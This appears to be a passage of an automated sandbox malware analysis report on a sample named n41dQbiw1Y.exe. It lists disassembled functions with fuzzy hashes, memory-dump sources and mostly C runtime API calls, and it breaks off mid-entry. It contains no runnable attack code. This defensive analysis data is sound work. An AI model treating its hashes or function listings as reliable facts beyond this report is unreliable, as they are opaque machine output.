Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 043F7393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: c5492d97261a24a02752b3b2958d30d4f650df7aa912f59a345fb53b036f9bfc
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 22311430518345AFD741EF69C880A4BF7E0FFC8258F01D919F98897221D730E988CA62

Function 044118D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: adc529eb742663f411c45c9cf7d254efcc6073aa65dad80f84e9c635c5948df6
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 3C1108B726104243DE148B2ED5B85BBE395EBCE32172C427BD3A24B77CD222F145D900

Function 043FB000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: b4415b7aff213541ab03c7b7a9a935fa6319afe76d42161bfbbdd1dfa78ea872
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 6C113D4A8492C4BDCF424A7880E56EBEFA58E2B218F4A71DA88C44B743D01B150FE7A1

Function 043F0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: dd31305748a98858cd425f2a0c62a1bb9fe5cdefab4b5f2bf2e8e7b1aa4ca834
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 16118272340101AFE758DF69DCD0FA673EAEB88224B198155EE08CB312E675E801C760

Function 043500A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, Offset: 04350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4350000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 4ed5212ec20fd2c57efb010bb7a16929994c30fed58e93c6a0da3571aeb76530
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AA11A176340101AFD758DF55DCC0FA673EAEB89364B198065ED08CB322E676E842C760

Function 043FA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 5a9e2eb08d49c84630d81aea646020c9c66dc367fd584364213f32f86cf3cec5
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 7F012876910A629BD700DF3EC8C045AFBF1BB082117928B2ADC9483A41D334F666DBE4

Function 04416437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0441644E

Part of subcall function 04419636: __calloc_impl.LIBCMT ref: 04419645

__calloc_crt.LIBCMT ref: 04416472
_free.LIBCMT ref: 04416480
__calloc_crt.LIBCMT ref: 0441648E
_free.LIBCMT ref: 0441649E
_free.LIBCMT ref: 044164A4
__copytlocinfo_nolock.LIBCMT ref: 044164B3
__setmbcp_nolock.LIBCMT ref: 044164D4
_free.LIBCMT ref: 044164E2
___removelocaleref.LIBCMT ref: 044164E9
___freetlocinfo.LIBCMT ref: 044164F0
_free.LIBCMT ref: 044164F6

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: c06dadd464dc21f9008046ca3b5d822f1b19e1dad31e7241648683fe1aec247b
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: C421DE31244600AFFF317F67D902E5B7BE4DF81768B52842FE48A551B2EA32F911CA64

Function 04413F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04413F51

Part of subcall function 04415BA8: __getptd_noexit.LIBCMT ref: 04415BA8

__gmtime64_s.LIBCMT ref: 04413FEA
__gmtime64_s.LIBCMT ref: 04414020
__gmtime64_s.LIBCMT ref: 0441403D
__allrem.LIBCMT ref: 04414093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 044140AF
__allrem.LIBCMT ref: 044140C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 044140E4
__allrem.LIBCMT ref: 044140FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04414119
__invoke_watson.LIBCMT ref: 0441418A

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 1cf44b1c3c1eb86cd8a8e725117f1c8369ecefabeba36f5b265133a1b793f5db
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 9071D471A00726ABFF14DE7ACD40B6AB7F8AF14369F14422FE914E6691E770F9408790

Function 0441650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04416547
__calloc_crt.LIBCMT ref: 04416598
__lock.LIBCMT ref: 044165AE
__copytlocinfo_nolock.LIBCMT ref: 044165BF
_wcscmp.LIBCMT ref: 044165F9
__lock.LIBCMT ref: 04416610
__updatetlocinfoEx_nolock.LIBCMT ref: 04416622
___removelocaleref.LIBCMT ref: 04416628
__updatetlocinfoEx_nolock.LIBCMT ref: 04416647

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 24c97912c5a0be891a370e4be87e37f87d1e33978af5a4575bfba28ebc52d9de
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: C1410232904304AFEF10AFA5DD80B9E3BE5AF44318F11842FE918962B2DB75B645DB11

Function 044184AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 044184B1
_free.LIBCMT ref: 044184E2
_free.LIBCMT ref: 044184F5
_free.LIBCMT ref: 04418513
_free.LIBCMT ref: 04418525
_free.LIBCMT ref: 04418536
_free.LIBCMT ref: 04418541
_free.LIBCMT ref: 04418565
_free.LIBCMT ref: 04418581
_free.LIBCMT ref: 04418597
_free.LIBCMT ref: 044185BF

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 02a1dc29e14e8c19f21f651bebc9649dcbd60fb6b726dbc648a2832bf27dd498
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: C0318F31901250DBDF21AF56FC8488E77A4FB183247148A2FEA06573B1CBB479C9AF94

Function 0443FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0443FC1F

Part of subcall function 0442169C: std::exception::_Copy_str.LIBCMT ref: 044216B5

__CxxThrowException@8.LIBCMT ref: 0443FC34
std::exception::exception.LIBCMT ref: 0443FC4D
__CxxThrowException@8.LIBCMT ref: 0443FC62
std::regex_error::regex_error.LIBCPMT ref: 0443FC74

Part of subcall function 0443F914: std::exception::exception.LIBCMT ref: 0443F92E

__CxxThrowException@8.LIBCMT ref: 0443FC82
std::exception::exception.LIBCMT ref: 0443FC9B
__CxxThrowException@8.LIBCMT ref: 0443FCB0

Strings

leM, xrefs: 0443FCA8

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 02834dcc444ecd17f195fcdebf54086c6db3d617fbff5a1d73c081e736e5b1f5
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 3511CE79C0020DBBCF00FFA5D595CDDBB7CAA04748F808967AD1497641EB74B7488B94

Function 043FF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 043FF01F

Part of subcall function 04411602: __FF_MSGBANNER.LIBCMT ref: 04411619
Part of subcall function 04411602: __NMSG_WRITE.LIBCMT ref: 04411620

_malloc.LIBCMT ref: 043FF02B
_wprintf.LIBCMT ref: 043FF03E
_free.LIBCMT ref: 043FF044
_free.LIBCMT ref: 043FF065
_malloc.LIBCMT ref: 043FF06D
_sprintf.LIBCMT ref: 043FF0C0
_wprintf.LIBCMT ref: 043FF0D2
_wprintf.LIBCMT ref: 043FF0DC
_free.LIBCMT ref: 043FF0E5

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6a4e60af06099999452f3cbe3a6b1216e72d529184498a755f7ff2cff5fcb93c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: F31127B25005506AEB6167B64C11EFF3ADC9F49305F0401AFFF4DE1191DA587A0493B1

Function 04401960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 044019C6
__CxxThrowException@8.LIBCMT ref: 044019F1
__CxxThrowException@8.LIBCMT ref: 04401A1A
__CxxThrowException@8.LIBCMT ref: 04401A4B
_memset.LIBCMT ref: 04401A6A
__CxxThrowException@8.LIBCMT ref: 04401A90
_malloc.LIBCMT ref: 04401AA0
_memset.LIBCMT ref: 04401AAB
_sprintf.LIBCMT ref: 04401ACE

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 259f2b6c5c6793e7d87f95bef78561dbcf5a9b87856c5e0585ef9e47e848af60
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 34516D71D40219ABEF11DBA2DD85FEFBBB8FB04704F10412AF905F6290E7756A018BA5

Function 043FF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 043FF284
__CxxThrowException@8.LIBCMT ref: 043FF2AF
__CxxThrowException@8.LIBCMT ref: 043FF2DE
__CxxThrowException@8.LIBCMT ref: 043FF30F
_memset.LIBCMT ref: 043FF32E
__CxxThrowException@8.LIBCMT ref: 043FF354
_sprintf.LIBCMT ref: 043FF373

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: ed5a03cbd747da851040e8c7cc180db0c810173819f0fa761d685c2507173e59
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 95514071D40249ABEF11DFA1DD86FEEBB78EB04704F10402BFA05B6181E775AA058BA5

Function 043FF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 043FF4B7
__CxxThrowException@8.LIBCMT ref: 043FF4E2
__CxxThrowException@8.LIBCMT ref: 043FF504
__CxxThrowException@8.LIBCMT ref: 043FF535
_memset.LIBCMT ref: 043FF554
__CxxThrowException@8.LIBCMT ref: 043FF57A
_sprintf.LIBCMT ref: 043FF594

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: c2733523af3bd8d2f036e8e32ace5b177033425ee93413c962708592c340f9dd
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: E9515271D40249ABEF11DFA1DD85FEEBBB8EF04704F10012AFA05B6181E774B9058BA4

Function 0443208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 044320C6
__invoke_watson.LIBCMT ref: 04432120
_strlen.LIBCMT ref: 044320D4

Part of subcall function 04415BA8: __getptd_noexit.LIBCMT ref: 04415BA8

_strnlen.LIBCMT ref: 0443215F
__lock.LIBCMT ref: 04432170
__getenv_helper_nolock.LIBCMT ref: 0443217B

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 8ca811305715ccc230364163631d605c92efd443176e27dcd91a11c8e78241ba
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 80310C31600221ABFF216BA5DC00B5F37647F49F2BF11405BEA14EB391DBB4B8018691

Function 04402670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 044026DB
_memset.LIBCMT ref: 04402A30
_memset.LIBCMT ref: 04402AC0

Strings

D, xrefs: 04402AC8

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 2eb6dfcda9f6fb8f5efd5a183730cf7456a137bde34c83f339c4446c3ff3fde3
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 32E13B71D00219AADF24DFA0DD89FEEB7B8BF04304F1481BAE509A61D0EB74AA55CF54

Function 043FD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 043FD8EA

Strings

$, xrefs: 043FDAE2
(, xrefs: 043FDAE9
, xrefs: 043FDADB

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 387d7b4362a1b6ab4f3603e3b2d20a3be78b95e4b494371b23f19ffd6767cca1
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: E991C071D00218DBEF21CFA0CC49BEEBBB4AF05308F1451A9D506B72D1DBB66A48CB65

Function 0440A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0440A858
_memset.LIBCMT ref: 0440A869
_memset.LIBCMT ref: 0440A87A

Strings

p2Q, xrefs: 0440A882

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 32242ea38d860ea5b45000196fb708348d4d06900f783087f34bfe675674aa4f
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 05F0E578694790A5F7117751BC267857D917B36B08F10404DD1142E2F1D3FD334C6799

Function 0443FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0443FBF1

Part of subcall function 0442169C: std::exception::_Copy_str.LIBCMT ref: 044216B5

__CxxThrowException@8.LIBCMT ref: 0443FC06

Strings

TeM, xrefs: 0443FBFE
TeM, xrefs: 0443FBFB, 0443FBE7

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 9ea3942441a5549cd7cef52e276d0145daf77ab5a9f4fbffdbe15b37c7469f97
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 94D06775C0025CBBDF00EFA5D599CDDBBB8AA04348B408467A91497241EA74A7498B98

Function 043FD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0441197D: __wfsopen.LIBCMT ref: 04411988

_fgetws.LIBCMT ref: 043FD15C

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 9c935584dfc1cf697a1a16c148a4f50c454f70a19f4150690df9fe9b3d9f56c6
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 5591D771D00319ABEF21DF94CC487AEB7B5BF04304F14052AEA16A3251E779BA14CBD5

Function 043FD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 043FD77E
_malloc.LIBCMT ref: 043FD7B2
_malloc.LIBCMT ref: 043FD7C1
_fprintf.LIBCMT ref: 043FD815

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 7a846de47876307eda70184797015ec92c1349b0268636828a7155297b4cd5a0
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 54A150B1C00248EBFF11EFE5CC49BDEBB75AF14308F140069D50676292D7B66A58CBA6

Function 04412AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04412B2E
__read_nolock.LIBCMT ref: 04412BFE
__filbuf.LIBCMT ref: 04412C21
_memset.LIBCMT ref: 04412C65

Part of subcall function 04415BA8: __getptd_noexit.LIBCMT ref: 04415BA8

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b78a651be10450415aa1f1d4350b4d097fbca7607f780f2d83a60d37f9e15af8
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: B4518134A002469BDF298E69888496F77B5BF40324F1487AFE935E62F0E7B0B9518B44

Function 04431359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0443137D

Part of subcall function 04431A9D: __fltout2.LIBCMT ref: 04431AC6

__cftog_l.LIBCMT ref: 044313A3
__cftoe_l.LIBCMT ref: 044313D5

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: e79f6b31d9c8df8cca16b3a3091057dee15d1457e6a8c91dbb6fea8c95101c66
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 5C017E3200018EBBDF125E85CC41CEE3F62BB1C756F088416FA9858530D632E5B2AB81

Function 044B7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 044B7A4B

Part of subcall function 044B8140: ___BuildCatchObjectHelper.LIBCMT ref: 044B8172
Part of subcall function 044B8140: ___AdjustPointer.LIBCMT ref: 044B8189

_UnwindNestedFrames.LIBCMT ref: 044B7A62
___FrameUnwindToState.LIBCMT ref: 044B7A74
CallCatchBlock.LIBCMT ref: 044B7A98

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 51a8063d1b1416169b568b95dc791bc0c6d64b7ef1d0524af6819149abdc150c
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 3A011B36000109BBDF12AF56CC00EDB3BAAEF88758F15801AFD9865221D332E561DBE0

Analysis Process: n41dQbiw1Y.exePID: 7288, Parent PID: 7272COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36%
Total number of Nodes:	833
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
